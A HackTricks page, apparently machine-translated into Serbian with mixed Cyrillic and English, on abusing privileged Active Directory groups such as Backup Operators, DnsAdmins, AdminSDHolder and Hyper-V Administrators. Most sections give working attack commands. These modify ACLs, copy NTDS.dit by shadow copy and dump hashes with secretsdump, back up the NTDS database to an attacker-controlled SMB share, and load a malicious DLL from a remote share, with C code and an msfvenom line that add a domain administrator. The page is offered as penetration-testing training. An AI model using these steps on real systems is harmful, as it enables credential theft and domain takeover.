hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

17 KiB
Raw Blame History

Privileged Groups

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}

Pažljivo poznate grupe sa administratorskim privilegijama

  • Administratori
  • Administratori domena
  • Administratori preduzeća

Operatori naloga

Ova grupa ima ovlašćenje da kreira naloge i grupe koje nisu administratori na domenu. Pored toga, omogućava lokalno prijavljivanje na kontroler domena (DC).

Da bi identifikovao članove ove grupe, izvršava se sledeća komanda:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Dodavanje novih korisnika je dozvoljeno, kao i lokalna prijava na DC01.

AdminSDHolder grupa

Access Control List (ACL) grupe AdminSDHolder je ključna jer postavlja dozvole za sve "zaštićene grupe" unutar Active Directory-a, uključujući grupe sa visokim privilegijama. Ovaj mehanizam osigurava bezbednost ovih grupa sprečavanjem neovlašćenih izmena.

Napadač bi mogao da iskoristi ovo tako što bi izmenio ACL grupe AdminSDHolder, dodeljujući pune dozvole standardnom korisniku. Ovo bi efikasno dalo tom korisniku punu kontrolu nad svim zaštićenim grupama. Ako se dozvole ovog korisnika promene ili uklone, one bi se automatski vratile u roku od sat vremena zbog dizajna sistema.

Komande za pregled članova i izmenu dozvola uključuju:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Dostupan je skript za ubrzanje procesa vraćanja: Invoke-ADSDPropagation.ps1.

Za više detalja, posetite ired.team.

AD Recycle Bin

Članstvo u ovoj grupi omogućava čitanje obrisanih objekata Active Directory-a, što može otkriti osetljive informacije:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Pristup Kontroleru Domena

Pristup datotekama na DC-u je ograničen osim ako korisnik nije deo grupe Server Operators, što menja nivo pristupa.

Eskalacija Privilegija

Korišćenjem PsService ili sc iz Sysinternals, može se pregledati i modifikovati dozvole servisa. Grupa Server Operators, na primer, ima potpunu kontrolu nad određenim servisima, što omogućava izvršavanje proizvoljnih komandi i eskalaciju privilegija:

C:\> .\PsService.exe security AppReadiness

Ova komanda otkriva da Server Operators imaju potpuni pristup, omogućavajući manipulaciju servisima za povišene privilegije.

Backup Operators

Članstvo u grupi Backup Operators pruža pristup DC01 fajl sistemu zbog privilegija SeBackup i SeRestore. Ove privilegije omogućavaju pretragu foldera, listanje i kopiranje fajlova, čak i bez eksplicitnih dozvola, koristeći FILE_FLAG_BACKUP_SEMANTICS flag. Korišćenje specifičnih skripti je neophodno za ovaj proces.

Da biste naveli članove grupe, izvršite:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Локални Напад

Да би се локално искористиле ове привилегије, користе се следећи кораци:

  1. Увоз потребних библиотека:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Omogućite i verifikujte SeBackupPrivilege:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Pristupite i kopirajte datoteke iz ograničenih direktorijuma, na primer:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

Direktan pristup datotečnom sistemu kontrolera domena omogućava krađu NTDS.dit baze podataka, koja sadrži sve NTLM hešove za korisnike i računare u domenu.

Using diskshadow.exe

  1. Kreirajte senku kopiju C diska:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Kopirajte NTDS.dit iz senčne kopije:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternativno, koristite robocopy za kopiranje fajlova:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Izvucite SYSTEM i SAM za preuzimanje hešova:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Preuzmite sve hash-e iz NTDS.dit:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Koristeći wbadmin.exe

  1. Postavite NTFS datotečni sistem za SMB server na mašini napadača i keširajte SMB akreditive na cilјnoj mašini.
  2. Koristite wbadmin.exe za sistemsku rezervnu kopiju i ekstrakciju NTDS.dit:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Za praktičnu demonstraciju, pogledajte DEMO VIDEO SA IPPSEC.

DnsAdmins

Članovi DnsAdmins grupe mogu iskoristiti svoje privilegije da učitaju proizvoljni DLL sa SYSTEM privilegijama na DNS serveru, koji se često hostuje na kontrolerima domena. Ova sposobnost omogućava značajan potencijal za eksploataciju.

Da biste prikazali članove DnsAdmins grupe, koristite:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Izvrši proizvoljni DLL

Članovi mogu naterati DNS server da učita proizvoljni DLL (bilo lokalno ili sa udaljenog dela) koristeći komande kao što su:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Ponovno pokretanje DNS usluge (što može zahtevati dodatne dozvole) je neophodno da bi se DLL učitao:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

For more details on this attack vector, refer to ired.team.

Mimilib.dll

Takođe je moguće koristiti mimilib.dll za izvršavanje komandi, modifikujući ga da izvršava specifične komande ili reverzne shelove. Check this post for more information.

WPAD Record for MitM

DnsAdmins mogu manipulisati DNS zapisima da bi izveli napade Man-in-the-Middle (MitM) kreiranjem WPAD zapisa nakon onemogućavanja globalne liste blokiranih upita. Alati poput Responder ili Inveigh mogu se koristiti za lažiranje i hvatanje mrežnog saobraćaja.

### Event Log Readers Članovi mogu pristupiti dnevnicima događaja, potencijalno pronalazeći osetljive informacije kao što su lozinke u običnom tekstu ili detalji izvršenja komandi:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissions

Ova grupa može da menja DACL-ove na objektu domena, potencijalno dodeljujući DCSync privilegije. Tehnike za eskalaciju privilegija koje koriste ovu grupu su detaljno opisane u Exchange-AD-Privesc GitHub repozitorijumu.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administratori

Hyper-V Administratori imaju potpuni pristup Hyper-V, što se može iskoristiti za preuzimanje kontrole nad virtuelizovanim Domen kontrolerima. Ovo uključuje kloniranje aktivnih DC-ova i vađenje NTLM hash-eva iz NTDS.dit datoteke.

Primer Iskorišćavanja

Mozilla Maintenance Service u Firefox-u može biti iskorišćen od strane Hyper-V Administratora za izvršavanje komandi kao SYSTEM. Ovo uključuje kreiranje tvrdog linka do zaštićene SYSTEM datoteke i zamenu sa zlonamernim izvršnim fajlom:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Note: Eksploatacija hard linkova je ublažena u nedavnim Windows ažuriranjima.

Organizacija Upravljanje

U okruženjima gde je Microsoft Exchange implementiran, posebna grupa poznata kao Organizacija Upravljanje ima značajne mogućnosti. Ova grupa ima privilegiju da pristupa poštanskim sandučićima svih korisnika domena i održava potpunu kontrolu nad 'Microsoft Exchange Security Groups' Organizacijskom Jedinicom (OU). Ova kontrola uključuje Exchange Windows Permissions grupu, koja se može iskoristiti za eskalaciju privilegija.

Eksploatacija Privilegija i Komande

Print Operatori

Članovi grupe Print Operatori su obdareni nekoliko privilegija, uključujući SeLoadDriverPrivilege, koja im omogućava da se lokalno prijave na Kontroler Domena, isključe ga i upravljaju štampačima. Da bi iskoristili ove privilegije, posebno ako SeLoadDriverPrivilege nije vidljiv u neuzdignutom kontekstu, potrebno je zaobići Kontrolu Korisničkog Naloga (UAC).

Da biste naveli članove ove grupe, koristi se sledeća PowerShell komanda:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Za detaljnije tehnike eksploatacije vezane za SeLoadDriverPrivilege, treba konsultovati specifične bezbednosne resurse.

Korisnici daljinske radne površine

Članovima ove grupe je odobren pristup računarima putem Protokola daljinske radne površine (RDP). Da bi se izbrojali ovi članovi, dostupne su PowerShell komande:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Dalje informacije o iskorišćavanju RDP-a mogu se naći u posvećenim pentesting resursima.

Korisnici za daljinsko upravljanje

Članovi mogu pristupiti računarima putem Windows Remote Management (WinRM). Enumeracija ovih članova se postiže kroz:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Za tehnike eksploatacije povezane sa WinRM, treba konsultovati specifičnu dokumentaciju.

Server Operators

Ova grupa ima dozvole za izvođenje raznih konfiguracija na kontrolerima domena, uključujući privilegije za pravljenje rezervnih kopija i vraćanje, promenu sistemskog vremena i isključivanje sistema. Da biste nabrojali članove, data je sledeća komanda:

Get-NetGroupMember -Identity "Server Operators" -Recurse

References

Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice.
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks
{% endhint %}